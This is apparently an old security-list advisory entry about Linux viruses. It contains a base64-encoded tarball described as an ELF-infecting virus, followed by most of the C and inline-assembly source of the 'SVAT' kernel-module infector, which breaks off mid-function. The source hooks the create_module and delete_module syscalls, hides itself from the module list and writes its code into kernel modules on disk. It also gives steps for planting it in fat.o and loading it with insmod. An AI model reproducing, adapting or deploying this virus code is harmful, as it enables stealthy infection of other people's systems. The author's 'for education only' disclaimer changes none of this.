COMMAND

    virus

SYSTEMS AFFECTED

    Linux

PROBLEM

    Stealthf0rk posted a virus that infects ELF-files non-overwriting.
    Below  you  will  find  also  module-infector  that works on linux
    2.0.33 with kerneld running.

    ---
    Content-Type: application/octet-stream; name="linuxVirus.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="linuxvir.tgz"
    Content-MD5: Z4gaTHAnVpwZhzMWTtYoMw==

    H4sIALt0ejUAA+w8+1MbR9L5VfwVbeViSSD04GHueOW4gB3qCLgAc8lhSrWsZsXa0q5qZwXG
    /vjfv+6ex84+BCQp5+rqsomFdh49M909/ZoeXRy9Pex+83UfWOtt9HrwDdBT/Ktf4NX66qu1
    jZWV1TV833jVX/0G1r/yvPiZydRLAL5J4jh9rN1T9f+lzwXRPwjHYhBPZcf/KmP0e71Xa3Pp
    39/YWH/F9F9febWyhg2h39/or38Dva8ym8LzP07/7iKc34SfgVgA/DhKvTCSkN4ISOJZGkZC
    QhAncJeE+DLiCj8eChCp34HF7sLCt2Hkj2dYsi3TYRh3bnYBYXZuGKKEiXd/LWAYBoFIRJRC
    GDkvJ2cEIgdhHF4jCKdsFoVYnC8L/Cgd54vkvewiJdNCaZrgrPNl4zCafeoOQ5oB1WRV9dtP
    nZs6FgxFgCuH84Of3kK9m06m3VRMpnXFr7i6uzC9QVSEEkYiEomXCkZM5E0ExAF/P/j5gNdm
    QCEkA8pCIlCMw+7i8qOPwnOAsGD/4B/v3iyIT6lIInh9eISjBMMtgjQU17PRiIhE44oI0byw
    gAiY+SkgJSfXswC+LKiB8VUMUvB8+rKVL5zEQ1X6sAU0Ndg732vjx4/0sQ+dTgeiOEWumEVD
    IufkHqndkLwQPa8wUkOKpn+Dm2uxDfl5LLY06DAKBBZve9HnXc0wOMosSBNvNBLXIgHE8bbv
    jcci2eURQuYh6tWkr9ixDWoQ1aq18GWhxo1gB3pt+EB/thZqqg1SvY0Iw39TL70xCwewX7gZ
    TeRypde7wn564sRa/DGTW5B/cBnSuxWMPsbOYlfX1BYKTbNxaHic2UikIrpt1t8ieuutbD5h
    AM0mTlY1wS9N6tBqwc4OHL87OmrRqMhYQyA+9tM4uSfsOCPVEpHOkBTL/a0FKq/d3dAOb4aw
    TUiDly8RNdvQ77XgCwFTJKA1SCiC2n/99vTw+Px1s57jSojEnaZFGEeEHf8jZNXvI3dF5slg
    /T3QnTedRcSBA5Fo/53cRUBtapKHVvuwtJQvYKQFCmU3sUybTG3aI4ReF3mlWVF3En4oGkSR
    vlAr0xG5wp/eN4lR2hC0bJdyS5oUsYeXoii6lrrLS8VKLaRAr/X4bCohKhwNeJUKoub+3wow
    ERLxX5jl75lkgTj86L1YLK5kCfVXDJVicjmBChxWeLDfNMeHRI3awsNCTsIQqnY1o43voSBL
    FCaVjKCvZZmiFqx6tFEztnPLSNp3W5qrCCkyZRF4OxbRiPf5xdHB8ZvzH7dMEwaOgjDYqjlC
    wUBgRqZa7MmTWmxNcCKx39QQHV6eu+dx7X48va/placxkA5ThI2nIkIpMAQUbpFP6uuSdBa1
    vMJJLHId9WZVdi1Qq0SkWJq3YTKTbbuw6/tUtIzGQ1DciPpPk3iUeBO4ZOo1FBobVzSLMO0s
    KBHprNafNhXaUU/y2pb72crcZRV5xxZUMBETdZPWESIfEf/Q+PyXGSkbcctFPKq0HcZQU027
    DSeD0/2T46NfWo9NLUc8ZBADRI1CIP51+n8ng/PTd8c/FADV5ixy/poIMq6JXtSCmGA83Wyj
    aEZWLJyfHykW3O1DXGwbiNMsTZ+/xjuEQWahoNX+GihmE4xjKXAC87CPhDF4K4Or4HZvir2G
    ihVRmhm2jJMQ2dcbK0FC20BzOizvAnXIqRzWfHo+WmM+jqxdIA2aLXM+apLqVVSg96E2D0Wq
    AIHakiARgmVF6zl8k6KKRRQkYhKjxWI5xd0Dqq6ZL+IZouh+QLONka2eKlsVZb+0wruyxTKJ
    iBqM4/gj6R4PGkM0g/xUGesNJqSXSECLi2iladQIiIAN1VfPqE/9ZdxGZxK/oFW6wARUgj2b
    hRbsDMDKcnyoGREosXpJSWZ/Mr1cu8LCL70HbT3lUWpBb6pVeKmjnjL9VJIFgRK/8+VJeaNk
    +3UshfioGEqrE1iCfhvODg7+OTg7OH8KmuLr/P4HBQ8X3IZVCwCemg+ZP5Nps35w9LrOvbmn
    sxFqZU7NOF0DegCBS8rG+lIwy1wQZYvN8mRW9YDsCXO4k7hSjINCYY4PG7RFGmRq4LKe4jI9
    xCW5XPebKH4hvv6ALGGsFW8sY6ABPfwOwWw8BvFJ+LPUu8YGXzaXm3+Fq4XMCqHJOfZH5sVE
    BUPDMaEUs06iy3XFq582gnbv09o6ffj08ardeN9rPLTZIcdFFex6khq6L7ebJ0Bobhmj8wpz
    OmaeAM8033OZfb56WnuORnFYU4ncSVRkTMNW4EjVArx+lW3JrMpAai4AxwCpFTkSGZwYkh5l
    iUp/LLyo2dJ8JRVjNZRYQ57hamN9GV4DZN0619Rhgp8SboQ3Tu/b1BBpuuywFfWL4mRilF2T
    +pMXiV5py2U2NREtFTOhyAgMZSJGs7GXsBNg8EcshEYdubkU9gjCBBXoixcv5nidPesR5Vza
    THBmwKsZwnETVEfaH86EnuiTkfJB4x62qTcaSgZDcSTge2iOw+gjbtFEtDMvVBLiCWF5SslY
    4VAj0aCpjMaKmIGZ2bwtpoFtFt2cPP4IWNGDnL+pCjh8cTY4PDs9eNNUPTsyHUzioWg91ZdY
    v6oJIbdE5fnGAYNCXmXTq6IeHxa61EYFIJmH70L/BoIYvZ87VYouSBgyq3PVZCZT7nctQIrp
    FClJKj/jdjNm0/XojH+36CWjcZj5e4siuqV3RUnX6WvDhzZJY6jw/eCuwrFjbDzDGQQddDLe
    2eUKxZ1M1SOsBAvVzGQWvGkcgh3tIiSj28velX5lHjPI0FjA2korcid7jDWWiGmcoF3jPhzw
    sZPLxStdPgyG8GIHFzMkzZ5jrEBp/GCIs1ABTM1c8/3iZtExrvCMXUWhvWLtIcysl2AcVuIa
    Z7Bn+IJlDcC2lvPwnjgLI19YtpaKeZFZ4QMysLYNkG+pBNfzka1WL2qkxNfa2wvihGSSDsW3
    eA9M4oSgkv0RmdjzBOkakTtuLGhJcWkOT6Kbj2VKj7CmITPFwEgNDK8QfUH1cQWzaIi89O74
    8Ge4QweKI54xbjkvwYUQLDom4Ci4+JRaboamDZ///Mu/W9SVJjeToqP2qMKcspFd37cQK9K+
    GLXbzutz6i6n6DmkQTOLcNS/k98NybM5IC/yw9JSIXjoGOVZJ+uk/3B6sHdunXXXHmBaBkk8
    gWksQ3YZG5r3GtDW8mkmaZuwuELMFnhKmfEkSXQ/x4J/2sT5z/mkv80ltWDJfpgpdjw5PXxz
    eLx3BDraaPag66Bb/rEs4gZRzWY0StBV/Lk4ZkbbUstMv+HeQ4c3a2p1glEGJTbst8iwUBt7
    7qGNVnv+9NEmtHNYIjXi8VCZgoiCRiTu1Et7GJMUYOubdthUJJNQSlQrmYrzp1q5aRBt9aZh
    IGkVLzjKid+paxS046BN4UstZefHHtd7vV6FeK0ptOf4VPm9gdlhZlqP+wKVQCILRK9m7i4t
    gCxMyxC8tH9w9Xov6PXlN09h60TB4zsHihvnIeO1nJL2p5sgZ74vpGTnkFkAMfadJPJ/J1k9
    W7wZSirEFEM+agdG+dfYvDoGHU/m6dPGwmO4LLcBnUi5a6Is6m228KW4y/Q02II1/fSOfPjN
    Uyrs9nmzspOyx3nmPNQ9/lQbAud5640dMaE9Ui5GPvBv0GjOrSAzpEsHJUaOaqC23Lah8Tvq
    FBZ2HHhefmLcTJ/L5tpN8u30cOroVc3xJX1ns4zwXD7/5/yPkUi/UuoHP0/kf/RX1ld1/sfa
    2srGKyzqvXr1Z/7HH/KgBtMefTH/I5hFHBNXCSB82Mxuf5cNvM2WiVSgdlCBdjJ3JBmLC6Ws
    Ds4LeSIvoyrRoyohJMvceCL7w6ZzPJY5YTMlGBHaVvYkNO7IeAtlA41iVXEjcKG06L3z84Pj
    88OTY4rN6C0XR+N73pehj6VpZ9KB+3gGyoSnTmjxQpgqVM4SQhVnXyB6O3tpZjeTZUN6QI/e
    bFEV9Sd5j33uQqwnl+BWJKSSUhFRGIZanNHZmkQwaLaTZc4WOh+GqGNRdAeUmrkWAVn8bIoj
    NDsUE3SE9O/oMLqSp6ZevVEegvGWyWkiqWqSXA6PB3TSrpIblmHAB4coFOkdjVNYgpUFHSBh
    RBWTLVw5rNM3dNeCr7yoQD/PTS4JXT2vHcjngJhZknxN8ItKucjHULAG/2/Swtv1br1FnqzN
    x8AGRABkTkTYUCUJMSryMTJHLxAcx1cka3IXRnGKi3Q7TcRECh34oUhtG9FVkVrh2tpwFMdT
    9NnScKwzdbR3No1Dmh9FxCg6OI6jEb7VER801Xong4pA+FQYF4yuG3KiIxBmnz+bs2H0XlXm
    kUjynQ8D3gJ3HlIzEGLMdgtxJjcH6yt1YBNXfeX0ddBVtLw9Npl0DOznwck/mQQ9SmfR3Ffw
    DRXpFFF9OVVUbdc3OVRBqTvTcUg8Q/KIGC+mMKAsk6yQ81Hn/jUEwDuftjVRBooBUdOTTtl1
    V7WDwpa1SYuD2JbEYWUy55rwFiy30elF/GcJl7+Ui2pDISz7omlwV2m9EIPnw4EOinNWrRYV
    m5rl8kcFhbwNZwCqKQeMs+DitxR7CKx4KTw6xKsjEQmqpHiCJPGcrKImBTaU10572mgukslK
    +ZWlsvKulLTRKViZAHSF3vHJ+aBa8O3uGJliG5/uHe8fv/uJDg/SVrM5jGfXiBRX3izSApqt
    bpOaDn7a+5lo10HHpCw5cU6X/ZLgjNoUkcS9PVBE2KEzwmeLUYauovs7Ls/8XuFZlGWUmsWi
    rJ8TZRwfpNFzjCgZJ0iFaYiocZqbiZaTihhZWmZYXBTDRuQEaopslbvnHrWT0Geckz7FUqhK
    9NA4pnNOBAHLoKr2zoAVSVQPlRNwuPDRWexAkebFZ35OV05umMdltIrcrqgoeecsWwtXztgj
    2UqSVedSzhWn3FgBjR6VptSQgRJUso9QO3///fd6gGq5mJNrSgAYsZbJlTnZiVqsYaGzAbQQ
    c8VFocoIB1Os5NqZkmu45xoIsKF1ugf1URwP6zY9jqdGgg1FmbYhORRMAWUpKN1LQv3awx5k
    3cFhpCSf70llCcZo9l5TAufYI/Ngc7mlGwYQjL0Rn9RlpiQb2NKosqxJj/ihU5CdzukLk4yk
    FHVwpWi1YGyqbTtXJpICp1CVjrAa6cgDGBnWphztPHOyn99WJmZJ+GlTUnkZsMgHexQFdI7i
    3DhDIZHYnQHN/RErbU4KsKnHpZ2QadFQGi38LBomnq/WxsZ7ZnItwjskpUSPg3RVS6X5eEM+
    5KBOlmudLhnvZ4K3ICNVUq3e4AY6k/GlwUybDHWixnbxZNZCcS2Jim06T747uZ0VorqsXBBn
    b0TqHIWo7WFsgtxuzy2dgyUU5dO+jmJss8DL5Gp5dzig9P7Hsoir7aXs5F+fuxBVlMVo0842
    SSy4FotrSKuqFL1DXgwZLlRkjmgq7WaT7K1P+jlLg1RUnwxlSgF/vj6sUDe/CV1P8kV5IFf9
    GWvwMd3PmQJkdunV/T5jVkuuTXLIskxLJ+uljB/eLVYWtsrZ4JA3egvY4mscWoJUuBEu8P6c
    JHYNnCboQEMF5akliFDFYJEzyNitGIVQUsuVdE0eBNxShqQhOiWVIGujjOxWZMgXUV6sLJv5
    tiavDm2SQUXw8s/ndz8c/51Q0OfrBYAfj//C6tpK39z/7K+vrVBIuNfb+DP++0c86v6fJBMS
    WQEOoQN7EYdyUV2hAORYor5EYdLNJJ/dww/x9D4JRzcpNH9oQf9vf9uA63s4Syk/7SboJR9J
    CZ/BBezBObXncS44fccGmhejeBEm3jj0w3gm+WohnbCh/TWjWJGKfI4khU6x8zSWMqRMN85W
    oOjSxLsnQQ2S7NehN/FGggK2WJWAvJepmLAV+ws2td4+53pMvKZs2abxXQRJKD/CC/qP7d7G
    hANkiZDTOFKjks72onszjju+mi5Mx949BZK8xJjj9qpgR5lzlJZBiFbRQXWYS1kEJlv9LkLM
    6xe1ABpHQZI36hoHylwCEXOglqo4J2oT/gK+D8snK7C8z8FuUPsa+HgHsku+sByrLpw4hd0o
    /DW1RRB5vtyEDBy9V4HRo48SIVI+tzwW6b+Q7hRFoVREbyz+bRrdxHdExLs4+UixFfJnrj1c
    0FSK2TAeEOE3mas4lYQOG0hf0WB8Qj61r5BOpnTPisedwvmPB4OLw9MfTvYPbIbTbr4vWc3Y
    ZzdfbHufHO0P9t6+PTjeP9gfEJzByfFg7/TNBYHKQCII6qb+1Go8BV6IDXNGnuJrXxncZxd7
    58sjZIRpW50eE4aoh8x2SLumX/7u31+LRE49X3TiZKTz14pHGU+cqZTPSkSSRNxsgfe5sofR
    c/OR3ikFvXRU+OjkzbJJt8ifl5QPSsi3IcZS9y+Tke8m0926mXRTkxCpiiR6S3Klbc4QFnP+
    Mcf8C/Epitipo4GS1VCZXtZld/Ud+7xeNEIHfRjz3tt0vCTp+lsUYyXB3r04Pzg7716H0Wbu
    3Rvm3mcyqWqzgnD6jtviWFUBuU2Bus9yuvfDAaETB/XqNsWtwvjUqXZpgtzAVEF54DBNQ4nq
    QuLdU36lqZYlu13zuA6Ilw+0XtCpRMFXNMFwpFAbZP5eqowposDnUPrEaf7V1PLi0fIm7toE
    s3KvfBmUhnWjhrgkfSd4tVRp8z/VXBWPMnOWAjZ0weV/zcpk+08J+K82xhP238ZqX5//b2ys
    ra+ss/230v/T/vsjHtyvr73xWAIqbckJ1d4YPDTFhmh5nKXe7BpLfLTxKFiqVd6ThgHaF1Sl
    2irjgt5Nf2smdB3zkA6cf7V+q8wFqMgtqP51iOf9tIRNI1BuqdY4KiXK96IBXbBQmXJK9y1y
    hBOlC7UYmisPOpduK9OfUFKgLIiv7GUMrH19tPeGYxwkVzm+iqI4Coke0hMzNBmitgrNmleF
    SFdU0wiwDStOtMf69zpvtv4+eh+ZMqbUBfQ6ffiHSD0sef++C7vbVHdBB7a0arJSgxl+DEUE
    R/sXcEgg6vNOFep7syCZBZuwzdAvbaDrCi7H8YhY52qX0YmLbtjaBkzQZqRkzwje0bH1rUg+
    C1w+Ek6KiIesOEwQn8K06R4rufcUVGHNYgaxt5Y/9tRItzm3GZWZQP0rrTJX8Au1dXUv4xMU
    QpUZHYgkDUfFqboaB35t+hs92UXHPBOyWaWwZ9hKI9gJvMOCuWxXy+w7M7XsPovHse2Mm+aG
    xostOA/jehbkzTsffSKO2LULkXc9b+cSKNbXUTPVtxxedkwpu6L63RIdxGdmixih+LLmho5e
    m6VkKa2g7w1As89Zn3Pu06N/lqCF3KzXW23mKpX6axfFVwSyuDg0HdyXw+P6vkC3SxjsKG4X
    0VMDrrjnnVRn0LiypTG6TT95wF+XlujXPAgdtGdQLgcks3AQ2PdSEYqojZJdUr5Hpw6IvQ7+
    KRpnJZQpUw+yMuemVO4XSbrwNvCGpd1YsabVik1bHBI5yB2ScyF4aefIfVF17LJy7gVANu7K
    GKsM7ONKlhTGqg9SywtaqzzSLIz8EndE1VVWk3JtEknhJZwNDl/vH57ynOx3unnAqrokCqtw
    ATnJ5UzDbh4WBXrzfJwlMrxFuz1M54eF1S/FSL7SpLl3zsiK8Ea5JPNa5J5HT8M1qGcBep88
    BxTTV92MoiC2TlDxCnkLxSd/i9HBa2vOsbt5atnVp7nHIaU+gZ5sMMQNUJgwziH8HKJy6Txz
    6gTQ6ifb+zFUuYtWeuPRJdpRMqPnmfPKPZbWZHEeZhYUvT9ntrlZ/zqE2xXkEP9bJ1K+Hfk7
    ppifUrXdYweeW5O/cV81jMG+9MicrOeuOBefIBjP5E1TX+WrShhBccFD8pNLteiqC2NOmdbg
    LJb5UkCFAV24rqwuyPOVTDczx150KceNSgV0C6B404VsgmJWErebbyNkyiBnIfhTk8rX4d99
    c4Haq4W6zv7YSdbG/emI/N2X4s207FaZvl3q3CpjET/jX1NTl9PuxIgqD44rjoxLN8vaoNCh
    b8bQBUo6U0bRj+JoDB/p13WSkiKo5a+a0X0ZByuFO2S2KM9G+pdIyqjLG8+WpP9pV/q/8uH4
    D3m4X3GMJ+I//dWVVXv+t7G+Qfc/1lfX/oz//BFPdYzE5mWRe0g39qCXK+L0tb4tMr9H81cU
    FCQhzMmYuSWM0jUa6dO3W288E/pXL/nS/szcPnai6iRJZSpJ8qqTLOxIex5NrjgyeXulMwD7
    Y5sm0p6P7l8cnnJIvQ5uYxt5Duh3IVL27SXnNrga11R++y1Vt/6/nbvHAQgIwjDcO4VEN3H/
    8wnmf6i3eZ9GImtWQzHMtx2WivBXxqr4Z5OWXKm9Im0TlZAC6yP5URel9Ix8bWTH2BmdB5W6
    x8ewnJQ5OV3X5/zqIt+15ebFZvsIGYk7zZkZTzNsjpikQvZin38Syvm22Mb/2XfR1Y8UAAAA
    AAAAAAAAACxxAX55swYAeAAA

    -----

    Here's an incredible module-infector that works on linux 2.0.33
    with kerneld running.

    /*              SVAT - Special Virii And Trojans - present:
     *
     * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
     *
     * 0kay guys, here we go...
     * As i told you with VLP I (we try to write an fast-infector)
     * here's the result:
     * a full, non-overwriting module infector that catches
     * lkm's due to create_module() and infects them (max. 7)
     * if someone calls delete_module() [even on autoclean].
     * Linux is not longer a virii-secure system :(
     * and BSD follows next week ...
     * Since it is not needed 2 get root (by the module) you should pay
     * attention on liane.
     * Note the asm code in function init_module().
     * U should assemble your /usr/src/.../module.c with -S and your CFLAG
     * from your Makefile and look for the returnvalue from the first call
     * of find_module() in sys_init_module(). look where its stored (%ebp for me)
     * and change it in __asm__ init_module()! (but may it is not needed)
     *
     * For education only!
     * Run it only with permisson of the owner of the system you are logged on!!!
     *
     *              !!! YOU USE THIS AT YOUR OWN RISK !!!
     *
     * I'm not responsible for any damage you may get due to playing around with this.
     *
     * okay guys, you have to find out some steps without my help:
     *
     *      1. $ cc -c -O2 module.c
     *      2. get length of module.o and patch the #define MODLEN in module.c
     *      3. $ ???
     *      4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
     *      5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
     *      >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
     *      6. $ insmod ???
     *
     * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
     * kernel 2.0.33. It works.
     *
     *      greets  (in no order...)
     *
     *      NetW0rker       - tkx for da sources
     *      Serialkiller    - gib mir mal deine eMail-addy
     *      hyperSlash      - 1st SVAT member, he ?
     *      naleZ           - hehehe
     *      MadMan          - NetW0rker wanted me to greet u !?
     *      KilJaeden       - TurboDebugger and SoftIce are a good choice !
     *
     *      and all de otherz
     *
     *      Stealthf0rk/SVAT <stealth@cyberspace.org>
     */

    #define __KERNEL__
    #define MODULE
    #define MODLEN 7104
    #define ENOUGH 7
    #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
    #define END_KMEM   set_fs(old_fs);}


    /* i'm not sure we need all of 'em ...*/

    #include <linux/version.h>
    #include <linux/mm.h>
    #include <linux/unistd.h>
    #include <linux/fs.h>
    #include <linux/types.h>
    #include <asm/errno.h>
    #include <asm/string.h>
    #include <linux/fcntl.h>
    #include <sys/syscall.h>
    #include <linux/module.h>
    #include <linux/malloc.h>
    #include <linux/kernel.h>
    #include <linux/kerneld.h>
  
    #define __NR_our_syscall 211
    #define MAXPATH 30
    /*#define DEBUG*/
    #ifdef DEBUG
       #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
    #else
       #define DPRINTK(format, args...)
    #endif

    /* where the sys_calls are */

    extern void *sys_call_table[];

    /* tested only with kernel 2.0.33, but thiz should run under 2.x.x
     * if you change the default_path[] values
     */

    static char *default_path[] = {
	    ".", "/linux/modules",
	    "/lib/modules/2.0.33/fs",
	    "/lib/modules/2.0.33/net",
	    "/lib/modules/2.0.33/scsi",
	    "/lib/modules/2.0.33/block",
	    "/lib/modules/2.0.33/cdrom",
	    "/lib/modules/2.0.33/ipv4",
	    "/lib/modules/2.0.33/misc",
	    "/lib/modules/default/fs",
	    "/lib/modules/default/net",
	    "/lib/modules/default/scsi",
	    "/lib/modules/default/block",
	    "/lib/modules/default/cdrom",
	    "/lib/modules/default/ipv4",
	    "/lib/modules/default/misc",
	    "/lib/modules/fs",
	    "/lib/modules/net",
	    "/lib/modules/scsi",
	    "/lib/modules/block",
	    "/lib/modules/cdrom",
	    "/lib/modules/ipv4",
	    "/lib/modules/misc",
	    0
    };

    static struct symbol_table my_symtab = {
	    #include <linux/symtab_begin.h>
	    X(printk),
	    X(vmalloc),
	    X(vfree),
	    X(kerneld_send),
	    X(current_set),
	    X(sys_call_table),
	    X(register_symtab_from),
	    #include <linux/symtab_end.h>
    };

    char files2infect[7][60 + 2];

    /* const char kernel_version[] = UTS_RELEASE; */

    int (*old_create_module)(char*, int);
    int (*old_delete_module)(char *);
    int (*open)(char *, int, int);
    int (*close)(int);
    int (*unlink)(char*);

    int our_syscall(int);
    int infectfile(char *);
    int is_infected(char *);
    int cp(struct file*, struct file*);
    int writeVir(char *, char *);
    int init_module2(struct module*);
    char *get_mod_name(char*);

    /* needed to be global */

    void *VirCode = NULL;

    /* install new syscall to see if we are already in kmem */
    int our_syscall(int mn)
    {
	    /* magic number: 40hex :-) */
	    if (mn == 0x40)
		    return 0;
	    else
		    return -ENOSYS;
    }

    int new_create_module(char *name, int size)
    {
	    int i = 0, j = 0, retval = 0;

	    if ((retval = old_create_module(name, size)) < 0)
		    return retval;
	    /* find next free place */
	    for (i = 0; files2infect[i][0] && i < 7; i++);
	    if (i == 6)
		    return retval;
	    /* get name of mod from user-space */
	    while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
		    j++;
	    DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
	    return retval;
    }

    /* we infect modules after sys_delete_module, to be sure
     * we don't confuse the kernel
     */

    int new_delete_module(char *modname)
    {
	    static int infected = 0;
	    int retval = 0, i = 0;
	    char *s = NULL, *name = NULL;


	    retval = old_delete_module(modname);

	    if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
		    return retval;

	    for (i = 0; files2infect[i][0] && i < 7; i++) {
		    strcat(files2infect[i], ".o");
		    if ((s  = get_mod_name(files2infect[i])) == NULL) {
			    return retval;
		    }
		    name = strcpy(name, s);
		    if (!is_infected(name)) {
			    DPRINTK("try 2 infect %s as #%d\n", name, i);
			    infected++;
			    infectfile(name);
		    }
		    memset(files2infect[i], 0, 60 + 2);
	    } /* for */
	    /* its enough */
	    if (infected >= ENOUGH)
		    cleanup_module();
	    vfree(name);
	    return retval;
    }


    /* lets take a look at sys_init_module(), that calls
     * our init_module() compiled with
     * CFLAG = ... -O2 -fomit-frame-pointer
     * in C:
     * ...
     * if((mp = find_module(name)) == NULL)
     * ...
     *
     * is in asm:
     * ...
     * call find_module
     * movl %eax, %ebp
     * ...
     * note that there is no normal stack frame !!!
     * thats the reason, why we find 'mp' (return from find_module) in %ebp
     * BUT only when compiled with the fomit-frame-pointer option !!!
     * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
     * you should find mp at -4(%ebp) .
     * thiz is very bad hijacking of local vars and an own topic.
     * I hope you do not get an seg. fault.
     */

    __asm__
    ("

    .align 16
    .globl init_module
       .type init_module,@function

    init_module:
	    pushl %ebp               /* ebp is a pointer to mp from sys_init_module() */
				     /* and the parameter for init_module2() */
	    call init_module2
	    popl %eax
	    xorl %eax, %eax          /* all good */
	    ret                      /* and return */
    .hype27:
	    .size init_module,.hype27-init_module
    ");

     /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
      *
      * pushl %ebx
      * movl %ebp, %ebx
      * pushl -4(%ebx)
      * call init_module2
      * addl $4, %esp
      * xorl %eax, %eax
      * popl %ebx
      * ret
      */

    /*----------------------------------------------*/

    int init_module2(struct module *mp)
    {
	    char *s = NULL, *mod = NULL, *modname = NULL;
	    long state = 0;

	    mod = vmalloc(60 + 2);
	    modname = vmalloc(MAXPATH + 60 + 2);
	    if (!mod || !modname)
		    return -1;
	    strcpy(mod, mp->name);
	    strcat(mod, ".o");


	    MOD_INC_USE_COUNT;
	    DPRINTK("in init_module2: mod = %s\n", mod);

	    /* take also a look at phrack#52 ...*/
	    mp->name = "";
	    mp->ref = 0;
	    mp->size = 0;

	    /* thiz is our new main ,look for copys in kmem ! */
	    if (sys_call_table[__NR_our_syscall] == 0) {
		    old_delete_module = sys_call_table[__NR_delete_module];
		    old_create_module = sys_call_table[__NR_create_module];
		    sys_call_table[__NR_our_syscall] = (void*)our_syscall;
		    sys_call_table[__NR_delete_module] = (void*)new_delete_module;
		    sys_call_table[__NR_create_module] = (void*)new_create_module;
		    memset(files2infect, 0, (60 + 2)*7);
		    register_symtab(&my_symtab);
	    }
	    open = sys_call_table[__NR_open];
	    close = sys_call_table[__NR_close];
	    unlink = sys_call_table[__NR_unlink];

	    if ((s = get_mod_name(mod)) == NULL)
		    return -1;
	    modname = strcpy(modname, s);
	    load_real_mod(modname, mod);
	    vfree(mod);
	    vfree(modname);
	    return 0;
    }

    int cleanup_module()
    {
	    sys_call_table[__NR_delete_module] = old_delete_module;
	    sys_call_table[__NR_create_module] = old_create_module;
	    sys_call_table[__NR_our_syscall] = NULL;
	    DPRINTK("in cleanup_module\n");
	    vfree(VirCode);
	    return 0;
    }

    /* returns 1 if infected;
     * seek at position MODLEN + 1 and read out 3 bytes,
     * if it is "ELF" it seems the file is already infected
     */

    int is_infected(char *filename)
    {
	    char det[4] = {0};
	    int fd = 0;
	    struct file *file;

	    DPRINTK("in is_infected: filename = %s\n", filename);
	    BEGIN_KMEM
	    fd = open(filename, O_RDONLY, 0);
	    END_KMEM
	    if (fd <= 0)
		    return -1;
	    if ((file = current->files->fd[fd]) == NULL)
		    return -2;
	    file->f_pos = MODLEN + 1;
	    DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
	    BEGIN_KMEM
	    file->f_op->read(file->f_inode, file, det, 3);
	    close(fd);
	    END_KMEM
	    DPRINTK("in is_infected: det = %s\n", det);
	    if (strcmp(det, "ELF") == 0)
		    return 1;
	    else
		    return 0;
    }

    /* copy the host-module to tmp, write VirCode to
     * hostmodule, and append tmp.
     * then delete tmp.
     */


    int infectfile(char *filename)
    {
	    char *tmp = "/tmp/t000";
	    int in = 0, out = 0;
	    struct file *file1, *file2;

	    BEGIN_KMEM
	    in = open(filename, O_RDONLY, 0640);
	    out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
	    END_KMEM
	    DPRINTK("in infectfile: in = %d out = %d\n", in, out);
	    if (in <= 0 || out <= 0)
		    return -1;
	    file1 = current->files->fd[in];
	    file2 = current->files->fd[out];
	    if (!file1 || !file2)
		    return -1;
	    /* save hostcode */
	    cp(file1, file2);
	    BEGIN_KMEM
	    file1->f_pos = 0;
	    file2->f_pos = 0;
	    /* write Vircode [from mem] */
	    DPRINTK("in infetcfile: filenanme = %s\n", filename);
	    file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
	    /* append hostcode */
	    cp(file2, file1);
	    close(in);
	    close(out);
	    unlink(tmp);
	    END_KMEM
	    return 0;
    }

    int disinfect(char *filename)
    {

	    char *tmp = "/tmp/t000";
	    int in = 0, out = 0;
	    struct file *file1, *file2;

	    BEGIN_KMEM
	    in = open(filename, O_RDONLY, 0640);
	    out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
	    END_KMEM
	    DPRINTK("in disinfect: in = %d out = %d\n",in, out);
	    if (in <= 0 || out <= 0)
		    return -1;
	    file1 = current->files->fd[in];
	    file2 = current->files->fd[out];
	    if (!file1 || !file2)
		    return -1;
	    /* save hostcode */
	    cp(file1, file2);
	    BEGIN_KMEM
	    close(in);
	    DPRINTK("in disinfect: filename = %s\n", filename);
	    unlink(filename);
	    in = open(filename, O_RDWR|O_CREAT, 0640);
	    END_KMEM
	    if (in <= 0)
		    return -1;
	    file1 = current->files->fd[in];
	    if (!file1)
		    return -1;
	    file2->f_pos = MODLEN;
	    cp(file2, file1);
	    BEGIN_KMEM
	    close(in);
	    close(out);
	    unlink(tmp);
	    END_KMEM
	    return 0;
    }

    /* a simple copy routine, that expects the file struct pointer
     * of the files to be copied.
     * So its possible to append files due to copieng.
     */

    int cp(struct file *file1, struct file *file2)
    {

	    int in = 0, out = 0, r = 0;
	    char *buf;

	    if ((buf = (char*)vmalloc(10000)) == NULL)
		    return -1;

	    DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
	    BEGIN_KMEM
	    while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
		    file2->f_op->write(file2->f_inode, file2, buf, r);
	    file2->f_inode->i_mode = file1->f_inode->i_mode;
	    file2->f_inode->i_atime = file1->f_inode->i_atime;
	    file2->f_inode->i_mtime = file1->f_inode->i_mtime;
	    file2->f_inode->i_ctime = file1->f_inode->i_ctime;
	    END_KMEM
	    vfree(buf);
	    return 0;
    }

    /* Is that simple: we disinfect the module [hide 'n seek]
     * and send a request to kerneld to load
     * the orig mod. N0 fuckin' parsing for symbols and headers
     * is needed - cool.
     */
    int load_real_mod(char *path_name, char *name)
    {
	    int r = 0, i = 0;
	    struct file *file1, *file2;
	    int in =  0, out = 0;

	    DPRINTK("in load_real_mod name = %s\n", path_name);
	    if (VirCode)
		    vfree(VirCode);
	    VirCode = vmalloc(MODLEN);
	    if (!VirCode)
		    return -1;
	    BEGIN_KMEM
	    in = open(path_name, O_RDONLY, 0640);
	    END_KMEM
	    if (in <= 0)
		    return -1;
	    file1 = current->files->fd[in];
	    if (!file1)
		    return -1;
	    /* read Vircode [into mem] */
	    BEGIN_KMEM
